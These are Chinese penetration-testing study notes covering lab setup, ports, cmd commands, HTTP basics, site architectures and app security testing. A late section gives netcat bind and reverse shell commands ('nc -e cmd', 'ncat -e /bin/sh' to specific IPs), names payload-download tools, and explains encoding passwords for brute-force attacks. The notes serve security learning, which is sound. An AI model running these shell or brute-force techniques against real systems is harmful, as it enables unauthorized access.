虚拟机
虚拟机指通过软件模拟的具有完整硬件系统功能的,运行在一个完全隔离环境中的完整计算机系统
可在VMware官网进行下载
许可证(序列号)百度即可
创建虚拟机
第一次安装可以给大点
若出现拒绝访问,则右键虚拟机以管理员身份运行即可
MSDN下载windows镜像文件
复制链接到迅雷快速下载
导入镜像文件
可拍摄快照便于以后初始化
安装VMware Tools用于虚拟机与本机交互
默认下一步就行了
phpstudy
该程序包集成最新的Apache+PHP+MySQL+phpMyAdmin一次性安装,无须配置即可使用,是非常方便、好用的PHP调试环境。该程序不仅包括PHP调试环境,还包括了开发工具、开发手册等。
常用端口以及对应服务
端口 | 服务 |
---|---|
21 | ftp |
23 | telnet |
80 | web |
80-90 | 可能是web |
442 | SSL心脏滴血以及一些web漏洞测试 |
445 | SMB |
1433 | MSSQL |
3306 | MYSQL |
3389 | 远程桌面 |
5900 | vnc |
8080 | tomcat/WDCP主机管理系统,默认弱口令 |
8888 | amh/LuManager/宝塔 主机管理系统默认端口 |
常用的cmd命令
打开命令窗口(shift + 右键 )创建的文件都会在桌面显示
命令 | 作用 |
---|---|
d: | 跳转到其他硬盘 |
D: | 进入D盘 |
cd\ | 跳转到硬盘的根目录 |
dir | 查看当前目录下的文件 |
md 目录名(文件夹) | 创建目录文件夹 |
rd 目录名(文件夹) | 删除目录文件夹 |
ipconfig | 当前网络状态,ip配置,IPv4地址就是本机IP |
ipconfig /all | 可以把所有信息都打印出来 |
cls | 清除cmd屏幕 |
copy | 复制、拼接文件 |
move | 移动文件 |
ren | 重命名(ren 4.txt 5.txt) |
del 文件1 文件2 ··· | 删除文件 |
type | 显示文本文件的内容 |
find | 查询 |
tasklist | 显示任务列表 |
taskkill | 终止进程 |
start | 开始一个进程 |
systeminfo | 显示整个系统的信息 |
logoff | 注销账户 |
shutdown | 关机 |
copy 1.txt Dasktop\2.txt(把1.txt复制到桌面更名为2.txt)
cop 1.txt+2.txt 3.txt(拼接1.txt和2.txt内容到3.txt)
-t Ping 指定的主机,直到停止
若要查看统计信息并继续操作,请键入 Ctrl+Break;
若要停止,请键入 Ctrl+C
-a 将地址解析为主机名
-n count 要发送的回显请求数
-l size 发送缓冲区大小
-f 在数据包中设置“不分段”标记(仅适用于 IPv4)
-i TTL 生存时间
-v TOS 服务类型(仅适用于 IPv4。该设置已被弃用
对 IP 标头中的服务类型字段没有任何
影响)
-r count 记录计数跃点的路由(仅适用于 IPv4)
-s count 计数跃点的时间戳(仅适用于 IPv4)
-j host-list 与主机列表一起使用的松散源路由(仅适用于 IPv4)
-k host-list 与主机列表一起使用的严格源路由(仅适用于 IPv4)
-w timeout 等待每次回复的超时时间(毫秒)
-R 同样使用路由标头测试反向路由(仅适用于 IPv6)
根据 RFC 5095,已弃用此路由标头
如果使用此标头,某些系统可能丢弃
回显请求
-S srcaddr 要使用的源地址
-c compartment 路由隔离舱标识符
-p Ping Hyper-V 网络虚拟化提供程序地址
-4 强制使用 IPv4
-6 强制使用 IPv6
shoudown:
没有参数 显示帮助。这与键入 /? 是一样的。
/? 显示帮助。这与不键入任何选项是一样的。
/i 显示图形用户界面(GUI)。
这必须是第一个选项。
/l 注销。这不能与 /m 或 /d 选项一起使用。
/s 关闭计算机。
/r 完全关闭并重新启动计算机。
/g 完全关闭并重新启动计算机。在重新启动系统后,
重新启动任何注册的应用程序。
/a 中止系统关闭。
这只能在超时期间使用。
/p 关闭本地计算机,没有超时或警告。
可以与 /d 和 /f 选项一起使用。
/h 休眠本地计算机。
可以与 /f 选项一起使用。
/hybrid 执行计算机关闭并进行准备以快速启动。
必须与 /s 选项一起使用。
/e 记录计算机意外关闭的原因。
/o 转到高级启动选项菜单并重新启动计算机。
必须与 /r 选项一起使用。
/m \\computer 指定目标计算机。
/t xxx 将关闭前的超时时间设置为 xxx 秒。
有效范围是 0-315360000 (10 年),默认值为 30。
如果超时时间大于 0,则默示为
/f 参数。
/c "comment" 有关重新启动或关闭的原因的注释。
最多允许 512 个字符。
/f 强制关闭正在运行的应用程序而不事先警告用户。
如果为 /t 参数指定大于 0 的值,
则默示为 /f 参数。
/d [p|u:]xx:yy 提供重新启动或关闭的原因。
p 指示重新启动或关闭是计划内的。
u 指示原因是用户定义的。
如果未指定 p 也未指定 u,则重新启动或关闭
是计划外的。
xx 是主要原因编号(小于 256 的正整数)。
yy 是次要原因编号(小于 65536 的正整数)。
/S system 指定要连接到的远程系统。
/U [domain\]user 指定应该在哪个用户上下文
执行这个命令:
/P [password] 为提供的用户上下文指定密码。如果忽略,提示输入
/F 指定要强行终止的进程
/FI filter 指定筛选进或筛选出查询的的任务
/PID process id 指定要终止的进程的PID(tasklist可看pid)
/IM image name 指定要终止的进程的映像名称。通配符 '*'可用来指定所有映像名
/T Tree kill: 终止指定的进程和任何由此启动的子进程
HTTP协议
HTTP协议之URL
锚点的作用是快速跳到想要的地方
HTTP协议请求方法
请求方式 | 效果 |
---|---|
GET | 向指定资源发出请求 |
HEAD | 和GET一样,但是不传回所有资源内容 |
POST | 向指定资源提交数据,数据被包含在请求中 |
PUT | 向指定位置上传 |
DELETE | 删除所标识的资源 |
OPTIONS | 可使服务器传回该资源所支持的所有HTTP请求方法,用* 来代替资源名称,向web服务器发送OPTIONS请求,可以测试服务器功能是否正常运行 |
HTML 标签的 method 属性
GET方法请求
<body>
<form method="get">
<p>姓名<input type="text" name="name">p>
<input type="submit" value="提交" />
form>
body>
提交的东西会直接显示在URL里,这样是非常不安全的
post请求的数据都包含在请求体里了,不会直接显示,网页检查,表标头或负载中可查看提交的内容
HTTP协议状态码
状态码 | 作用 |
---|---|
1xx | 指示信息–请求已接收,继续处理 |
2xx | 成功–表示请求已被成功接收、理解、接收 |
3xx | 重定向–要完成请求必须进行进一步操作 |
4xx | 客户端错误–请求有语法错误或请求无法实现 |
5xx | 服务器端错误–服务器未能实现合法的请求 |
常见的状态码
状态码 | - |
---|---|
200 OK | 客户端请求成功 |
400 Bad Request | 客户端请求有语法错误,不能被服务器所理解 |
401 Unauthorized | 请求未经授权,这个状态码必须和WWW-Authenticate报头域一起使用 |
403 Forbidden | 服务器收到请求,但是拒绝提供服务 |
404 Not Found | 请求资源不存在,eg:输入了错误的URL 500 internal Server Error//服务器发生不可预期的错误 |
503 Server Unavailable | 服务器当前不能处理客户端的请求,一段时间后可恢复正常 |
web四大件分为系统件、中间件、数据库、源码
web可以在本地搭建,或者在服务器搭建,又分为在不同系统上搭建,比如window、linux等等
购买服务器搭建网站
网站的三种模式
如www.example.com、mai.example.coml就是example.com这个主域名的二级子域
名如果在二级子域名前面再加一个前缀,就成为三级子域名,如a.www.example.com
、b.www.example.com等
网站默认为80端口,不加端口号也可直接访问
可以通过不同的端口号访问不同的系统,如果更换其他端口,访问时必须加上端口号
格式为域名:端口号
域名a和域名b可以部署两套不同的程序,通过更换域名的目录,即可
访问不同的程序
集成软件
Docker容器
分配站:例如博客站的每个用户都会分配一个网站供自己使用
web程序源码
三种模式
开源 --> 分为 源码可看/ 闭源(加密语言特性)
商业
自写
常见的中间件配置包括目录权限、身份验证、解析规则,在日常的攻防中,当我们访问某个文件受阻的时候,就要考虑是不是某个中间件配置生效了
我们打开某个网站,该网站的文章、动态、配置、我们的用户名和密码都是存储在数据库中\n\n数据库有以下几种常见模式:
网站的源码分为以下几种类型,如果拿到源码就可以进行白盒测试-代码审计
访问一般有两种方式,普通的路径访问和路径访问,有些网站项目无法通过路径访问,比如java的web-inf文件,URL和文件目录对应不上,这种的需要配置路由才能访问某个网站
路径又分为相对路径和绝对路径,简单来说绝对路径就是某个文件的完整路径,相对路径就是该文件相当于当前位置的路径,我们在日常攻防网站中如果无法获取到绝对路径,就可以通过绝对路径来获取文件
常规化
原理:源码和数据库存在于一个服务器
影响:无,常规安全测试手法
站库分离
原理:源码和数据库在不同的服务器上
存储:其他服务器上数据库,云数据库产品
影响:数据被单独存放,能连接才能影响数据
前后端分离
原理:前段JS框架,API接口传输数据
影响:
宝塔+phpstudy
原理:虚拟化集成环境,配置权限受控制
影响:攻击者权限对比,宝塔搭建的网站较安全,phpstudy搭建的网站不安全
建站分配站
静态:
原理:数据没有传输性(jd传输不算)
影响:无漏洞
伪静态:
动态转为静态,伪装的静态
WAF
原理:Web应用防火墙,旨在提供保护
影响:常规Web安全测试手段会受到拦截
演示:免费D盾防护软件
Windows2012 + IIS +D盾
CDN
原理:内容分发服务,如选择全球范围,会在多个地方设置节点,访问时就近选择节点,提高访问速度
影响:会隐藏真实源IP,看到的只是节点而非真时目标,导致对目标测试错误
演示:阿里云备案域名全局CDN加速服务
Windows2012 + BT宝塔面板 + CDN服务
原理:云存储服务,旨在提高访问速度
为什么要使用第三方存储?
1.静态文件会占用大量带宽
2.加载速度
3. 存储空间
影响:
上传的文件或解析的文件均来自于OSS资源,无法解析,单独存储
1、修复上传安全
2、文件解析不一样
3、但Accesskey隐患
反向代理
正向代理为客户端服务,客户端主动建立代理访问目标(不代理不可达)
反向代理为服务端服务,服务端主动转发数据给可访问地址(不主动不可达)
原理:通过网络反向代理转发真实服务达到访问目的
影响:访问目标只是一个代理,非真实应用服务器
注意:正向代理和反向代理都是解决访问不可达的问题,但由于反向代理中多出一个可以重定向解析的
功能操作,导致反代理出的站点指向和真实应用毫无关系!
原生开发
安卓一般使用java语言开发,当然现在也有kotlin语言进行开发。如何开发就涉及到具体编程了,这里就不详说了。简单描述就是使用安卓提供的一系列控件来实现页面,复杂点的页面可以通过自定义控件来实现
使用H5语言开发
使用H5开发的好处有很多,可多端复用,比如浏览器端,ios端,当然H5开发的体验是没有原生好的。结合我做过的项目来说,一般是这个页面需要分享出去的话,就用H5开发
使用flutter开发
flutter是近年来谷歌推出的一款UI框架,使用dart语言进行开发,支持跨平台,weight渲染直接操作硬件层,体验可媲美原生。但是flutter技术比较新,生态还不完善,开发起来效率相对偏低
常规Web开发
Web App软件开发简单地说,就是开发一个网站,然后加入app的壳。Web App一般非常小,内容都是app内的网页展示,受制于网页技术本身,可实现功能少,而且每次打开,几乎所有的内容都需要重新加载,所以反应速度慢,内容加载过多就容易卡死,用户体验差,而且app内的交互设计等非常有效。但开发周期长端,需要的技术人员少,成本低
#APP-开发架构-原生态-IDEA
演示:remusic项目源码
安全影响:反编译&抓包&常规测试
安全影响:逆向的角度去分析逻辑设计安全
#APP-开发架构--Web封装-封装平台
演示:ShopXO源码程序+一门APP打包
安全影响:常Web安全测试
#APP-开发架构-H5&Vue-HBuilderX
演示:HBuilderX案例
安全影响:API&JS框架安全问题&JS前端测试
#WX小程序-开发架构-Web封装-平台
演示:ShopXO源码程序+一门APP打包
安全影响:常规Web安全测试
基本渗透命令:渗透测试常用命令
文件上传下载
解决无图形化文件上传,解决数据传输
命令生成:棱角社区
Linux:wget curl python ruby perl java等
Windows:PowerShell Certutil Bitsadmin msiexec mshta rundll32等
反弹shell命令
解决数据回显&解决数据通讯
命令生成:https://forum.ywhack.com/shell.php
1、正向连接:本地监听等待对方连接
Linux控制Windows
//绑定CMD到本地5566端口
nc -e cmd -lvp 5566
//主动连接目标5566
ncat 47.122.23.131 5566
Windows控制Linux
//绑定SH到本地5566端口
ncat -e /bin/sh -lvp 5566
//主动连接目标5566
nc 47.94.236.117 5566
2、反向连接:主动给出去,对方监听
//绑定CMD到目标5566端口
ncat -e /bin/sh 47.122.23.131 5566
//等待5566连接
nc -lvvp 5566
//绑定CMD到目标5566端口
nc -e cmd 47.94.236.117 5566
//等待5566连接
ncat -lvvp 5566
BurpSuite:
是用于攻击web 应用程序的集成平台,包含了许多工具。Burp Suite为这些工具设计了许多接口,以加快攻击应用程序的过程。所有工具都共享一个请求,并能处理对应的HTTP 消息、持久性、认证、代理、日志、警报
地址为BS里的代理地址
可用转发工具Proxifier配合bs使用(或者茶杯)
proxifier:
建立代理服务器
设置代理规则(进程筛选、ip域名筛选、端口筛选)
科来分析:应用分类筛选、应用进程筛选、网络接口ip筛选
渗透测试:抓包得到应用的资产信息、ip域名等ip和域名上面的服务做测试
( web、端口、数据库、第三方软件等)
逆向破解:
1、反编译源码中去找资产信息,来到渗透测试思路一致
2、源码中泄露的配置key 去测试安全性
3、逆向代码和产品的设计逻辑安全 (不规范的加密、可以绕过的策略、自己删除验证打包绕过验证等)
数据在传输的时候进行编码 为什么要了解?
对方服务器可能会在接受的时候进行解码在带入
如果我们还是按照原有思路不对自己的Payload进行同样编码的话 传入过去的东西就是不认识的东西 测试无效
正确:测试的话也要进行payload同样的加密或编码进行提交
安全测试漏洞时候 通常都会进行数据的修改增加提交测试
以数据的正确格式发送接受才行
登录的数据包: admin 123456
username=admin&password=123456
username=admin&password=e10adc3949ba59abbe56e057f20f883e
如果现在我要进行密码的破解爆破字典文件:
帐号什么都不用更改 去替换username=值即可
密码需要进行密码算法保证和password=值同等加密才行